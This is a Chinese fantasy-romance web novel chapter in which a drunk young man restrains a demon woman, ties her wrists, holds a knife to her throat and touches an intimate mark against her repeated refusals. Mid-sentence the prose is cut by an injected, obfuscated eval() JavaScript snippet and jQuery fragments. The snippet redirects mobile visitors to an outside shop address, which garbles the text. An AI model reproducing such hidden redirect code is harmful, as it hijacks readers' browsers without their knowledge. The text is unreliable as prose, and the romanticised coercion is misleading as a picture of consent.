默认冷灰
24号文字
方正启体

50. 醉酒

作者:斩雨筑亭本书字数:K更新时间:
    月华似水,褚颜手肘支在窗棂上,白蔷薇的幽香萦绕不去,她眨了眨眼,长睫在眼睑下投出一道暗影。


    她坐了片刻,终于还是忍不住,回望一眼蔷薇爬满的竹窗后,便推门出去了。


    她有些担心殷止。


    那黄泉对人类来说是剧毒,他在喝第二碗时,为了避免被夜游神觉出异常,并没有使用火焰将阴毒提出去。


    褚颜先是轻轻敲了两下房门,见门内无人应答后,心底的不祥感愈强,便直接进入了屋内。


    房间内有些昏暗,竹窗之间细细的缝隙将月光切得晦暗不明,斜斜地投在地上。


    褚颜一挥衣袖,桌上那只青铜灯盏霎时亮了起来。


    只见殷止身形端正地坐在床边,纱帐飘荡,如同天边的薄云,他任由那些纱罩在他下巴和肩颈上,即使有人闯进来,他也仅仅抬了一下眼皮,接着又收回了目光。


    褚颜:“……”


    她终于知道沈终南口中的“变呆”二字是何意思了。


    褚颜走上前,将一边的纱幔挽了起来,终于看清了殷止的脸。


    他耳根和脸上浮起一层薄薄的浅红,眼珠漆黑,像是深不见底的漩涡。


    指尖亮起一道红光,褚颜将红光送进对方身体里转了一圈,见五脏经脉俱是完好无损后,才放下心,接着用指腹碰了一下殷止的脸。


    好烫。


    殷止的体温比常人偏低,现在却烫得吓人。


    褚颜手上还残留着热度,她丢下句“等我一会儿”,便下了楼,来到院子里。


    一轮还未圆透的月亮挂在苍穹,清白的月光铺洒而下,那股泉眼依旧在汩汩地冒着水,浸湿了竹子翠绿的枝干,碧玉一般。


    褚颜用手帕浸了水,拧至半干后,又转身回屋。


    好在殷止这人酒品很不错,喝多了也仅仅是沉默发呆,看起来很乖,并不拉着人胡侃,也不会撒泼耍酒疯。


    褚颜将手帕递到殷止面前:“给,擦一擦脸,会好受很多。”


    他搭在床边的手指动了一下,随即抬起眼眸,直勾勾地注视着褚颜,目光深沉得近乎有压迫感。


    褚颜以为他还没回过神,便用手帕轻轻挨了一下他的脸:“拿着呀。”


    被碰到的地方像是沾了一点雪,在凉薄如水的夜里,微微有些冰。


    殷止似乎是反应迟钝,好半晌,才缓缓地抬起了手,然后接过手帕,只是他手指抓住的不只是手帕,还有褚颜的手腕。


    有未拧干的泉水滴落在褚颜浅绯色的裙摆上,洇出一点湿痕,她只感觉一阵天旋地转,整个人就被对方给拉到了床上去。


    刚刚才系好的帷幔又垂落了下来,烛光昏暗,空气中浮动着白蔷薇隐秘的暗香,除此之外,还有一股淡淡的幽香。


    是黄泉的味道。


    只是殷止并不喜欢这气味,他皱了一下眉,心情莫名地有些烦躁,他一烦躁就想把匕首抽出来,这样会让他的心安定不少。


    于是他这么想着,也就这么做了。


    噌的一声铮响,那把匕首便被他握在了手里,明晃晃的匕身反射着烛光,那道红茫映在了褚颜脸上,让她下意识地眯了一下眼。


    她现在被殷止扭成了一个很不舒服的怪异姿势,两只手腕被对方用左手扣在了头顶,一条腿还被他的膝盖压住,像是被钉在砧板上的鱼,动弹不得。


    而后,那把锋利至极的匕首便轻轻地移至了她喉间。


    殷止握着匕首,用未开刃的那一面挑起她的下巴,往上抬了一寸,嘴唇开阖,吐出一个字:“妖。”


    褚颜一愣,她一点也不在意她正被对方用刀抵着,反倒是轻轻笑了一声:“对,殷公子不是早就知道了么?”


    殷止左手一动,将她两只细白的手腕捉得更紧,他眉头皱得深了一分,眼神却有些困惑。


    就在他茫然的一瞬间,褚颜便抽出了一只手,雪亮的匕首在空中滑过一条弧线,有一根细细的发丝落到了床上。


    殷止束在发间的那根淄黑色发带,被褚颜给划断了。


    墨一样的黑发倾泄下来,有一缕拂在了褚颜颈侧,更多的则是散开到了榻上,和褚颜的头发互相纠缠在一起,锦缎一样铺了满床。


    殷止的眼神锁着她,眼睫蜿蜒开一痕苍青的细线,眸光凝聚到了极致,沉沉地包裹住了身下的人。


    他意识到,他是困不住褚颜的。


    只要对方想,随手都能挣开他的束缚。


    妖界的妖都是得灵犀而成,个个长相不俗,褚颜生在这样的世界,各种美人见得多了,也就不足为奇了,但如今心脏还是轻细地震动了一下。


    殷止散着发,并不显得狼狈,反而平添了几分异样的美感。


    他看着那两截断开的发带,沉默半晌,低声吐出两个字:“赔我。”


    褚颜唇角上扬,她以为对方会动怒,亦或是不耐,结果只是让她赔他的发带。


    可惜她今日并没有佩戴那根红发带,不然她倒是很乐意赔偿给他。


    褚颜想了想,道:“你放开我,我回屋给你拿。”


    这个方法听起来似乎很可行,而且她语气真挚,瞳孔清凌凌得像水一样,不像是会欺骗于他。


    但殷止明显不同意,他抿了抿唇,像小孩子一样又固执地把褚颜的右手给固定回了原位,为了防止她再次挣脱,他干脆用那半截淄黑色的发带将她的手给绑了起来。


    他动作有些粗鲁,发带勒得很紧,褚颜手腕上浮出了两条细细的红痕。


    殷止视线在她身上不断游移,似乎在琢磨一个新的赔偿方法。


    片刻后,他的目光便牢牢锁定在了褚颜腰间那条长长的红色系带上——


    两指宽,看起来也很结实,虽然有些长了,不过剪短一下还是能用的。


    殷止很满意,因而他抓起了掉在床上的匕首。


    等褚颜察觉到他比划的位置好像有些不对劲时,已经迟了。


    “刺啦”一声裂帛响,那根脆弱的腰带连同整个裙摆,都被匕首划出了一条大口子。


    这下褚颜是真的慌了,她另一只未被压住的腿支起来,蹭在柔软的被褥上,结果却打了滑,又颓然地落了下去。


    她这副想逃走的模样让殷止不高兴了,他伸手拽住她的脚腕,用了蛮力,一把将人给拖了回来,沉声道:“不许躲。”


    裙摆散得更开,像是层层叠叠的、柔嫩的花瓣,一直从褚颜腿上铺到了床下面,堪堪垂在了白色的纱幔上。


    殷止看到了缠在她小腿上的银铃,一圈一圈细细的银环,每根银环上都坠着一颗铃铛,花苞一样,松松地挽在她的白皙的皮肤上。


    突然,那银铃颤动两下,响了起来。


    殷止以前曾听过编磬被敲打的声音,清脆透亮,好听极了,而那几个铃铛发出的声音也是如此,让人忍不住想多听几下。


    他伸出骨节分明的手指,正想拨动其中一颗银铃,但是动作却倏地一顿——他看到了比银铃还漂亮的东西。


    他一开始以为那是一滴血,细细看去才发现是一片血红的海棠花瓣,轻轻落在褚颜的皮肤上,花瓣边缘轻轻皱起,简直跟活的一样。


    不止一片,是好几片,一直往上飘散,最后藏进了浅绯色的布料里。


    银铃声还在继续,褚颜咬着唇,试图让情绪平复下来,她在心底反复告诫自己,不要跟醉猫计较。


    但这只醉猫显然按捺不住浓重的好奇心,他指尖一挑,就把那片碍事的衣衫给拨开了。


    和零散的花瓣不同,上面则是完整的、拇指大小的海棠花,色泽妖异的花朵和花瓣互相交错纠缠,绕着她的腿环了一圈,而后片片往下垂落,宛如绽放在雪地里的红梅,哀惨又凄艳。


    殷止知道这是什么,妖纹。


    每个妖都会有妖纹,法力越是低下的妖,妖纹位置便越明显,而褚颜的妖纹在大腿上,虽然不算隐蔽,但她平日里也不会闲的没事露出来,便没有用法术将其隐藏。


    没有人看过她的妖纹,就连和她关系最亲密的褚千袭也不曾。


    褚颜好似被一剑刺中了太阳穴,瞳孔也跟着一缩。


    本是柔软的床榻上像是生出了一片咸湿的杂草,叶子带着小小的锯齿,从她与床相接触的地方一直扎到心尖上,整个身体都泛出酸涩。


    她忍不住出声道:“别看……”


    说着,褚颜又想往后躲,慌乱之下她竟忘了双手还被绑着,肩膀撞在了榻上,连带着腿也晃了两下,那片海棠花妖纹被颠得仿佛下一瞬就会掉落到床上。


    她皮肤极白,像是清河里刚刚长成的藕,埋在黏腻的污泥里,捞出来洗了干净,便是一身的润白细腻。这让殷止生出一股冲动,想用刀尖将她的皮肉剥开,看看里面是不是也同外边一样能扯出白丝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549930|204297||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    他眸色深沉得可怕,抬手摸了摸那妖纹,他指腹上有茧,刮得褚颜有些痛,也有些痒。


    指尖一按下去,细嫩的皮肤上便出现了一个浅浅的凹陷,而后又很快地回弹上来,除了血滴似的海棠花瓣,还有一种更淡的薄红从皮肉下浮出,像落雨后的花瓣被碾出了汁,浸润在他的手指上,粘连两下,又缓缓牵缠着坠落下去。


    正当殷止还想再按一下时,一片裙摆被掀了过来,严严实实地把妖纹和银铃都给盖住了。


    褚颜支起身子,淄黑色的发带搭在手边,她眼角飞起了一抹红,将那颗朱砂小痣也一齐晕在里面,亮得惊人。


    “不许摸。”


    她语气很凶,但是夹了一点沙哑的颤音,倒是像翻出肚皮在地上耍赖打滚的猫儿被主人一把拎起了后脖子、然后威胁地叫了两声似的,虚张声势,并不能震慑住什么,反而可怜得紧。


    殷止垂眸看她:“为何不可以?”


    他骨子里那股倔劲也上来了,拽着那片裙摆不肯松手。


    他眉毛生得很浓,墨一样,每一笔弯折都恰到好处,只是现在这双眉皱得很紧,压着下面那双黑沉沉的眼睛,眸底宛如有滚滚岩浆翻滚,下一瞬就要忍耐不住迸发出来似的。


    褚颜也不放,但是她又不敢太用力,生怕衣裙一个不小心撕裂到胸腹处,于是两个人拉来扯去,互相僵持着。


    “不可以就是不可以。”


    妖纹是妖身上最敏感的地方,若非极其亲密之人,是不能触碰的。现在被殷止这般亵玩,与求欢无异。


    殷止耳根上的绯色顺着耳垂一直蔓延到脸侧,他隔着布料,攥住了褚颜的手腕,见对方神色依然坚决,他不自觉地放缓了声音,哄道:“说可以。”


    褚颜再硬的心都要被他给说软了,救命,这要怎么拒绝啊?


    她闭了闭眼,想用妖力将人给推开,但是红光还没亮起,又被殷止用匕首抵在了下巴处。


    他太阳穴砰砰地跳,眼底都蔓出了一点赤色。


    “作弊。”


    褚颜都快被他给气笑了,她没想到殷止平日里正经到不能再正经,醉酒后却如此无赖。她想挥开那匕首,但这回殷止忘记用没开刃的那一面了,明锐的刀刃嵌进了皮肤里,一条红线逶迤而出,顺着褚颜的脖颈滴落在了床单上。


    那道刺目的红像针一样扎进了殷止透不进半点光的眼底,让他猛地退开几寸,匕首脱出了手。


    褚颜湿润的睫毛颤抖两下,低低道:“殷止,你弄疼我了。”


    烛光像水一样盛在她凹陷的锁骨里,有一缕青丝垂延在其中,宛如游鱼尾上的黑纱;她眼角是红的,那颗小痣是红的,耳廓和锁骨也是红的,称着那条细细的血,看起来有股奇异的绮丽。


    褚颜擦去皮肤上温热的鲜血,忽而伸手,将那点猩红抹在了殷止的唇角处。


    她用了几分力气,血痕拖得有些长,蹭在对方的脸上,宛如被抹花的艳鬼的口脂。


    殷止无措地移开了视线:“抱歉……”


    “你道什么歉。”褚颜并不买账,她掀帘而起,整个人翻身下了榻。


    见她要走,殷止忙伸手扯住了她的衣袖,有些委屈似的,又往后拉了一分,分明不想让她离开。


    褚颜回头看他,她方才还以为对方酒醒了,原来并没有。


    而且,想留人的话,脸上能不能带点表情,至少笑一下罢?


    褚颜从未这样失态,她并未生殷止的气,只是在莫名其妙生自己的气。九暝总说她性格里是有几分孩子气在的,褚颜还一直不信,如今她倒是觉得九暝的话有点道理。


    她无端生出一副想报复殷止的冲动。


    褚颜胸口起伏两下,总算将纷乱的心绪收拾妥当了,随即她俯下身,靠近了殷止。


    两人挨得极近,睫毛几乎交错在一起,呼吸纠缠,你混着我,我和着你,分不断,厘不清,只是其中一道明显更急促些。


    片刻后,褚颜便弯唇笑了:“我还以为殷公子当真像表面上那么冷静呢。”


    她总算扳回一局,顺带着心情也好了不少,她抬手点在了殷止眉心处,温柔又不容抗拒地将他一点点推远。指尖蓦地闪过红光,紧接着,对方便往后倒在了床榻上。


    褚颜吹灭了屋里的烛火,往屋外走去,只是走到一半又折返回来,将被褥替殷止掖好后,才悄然离去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)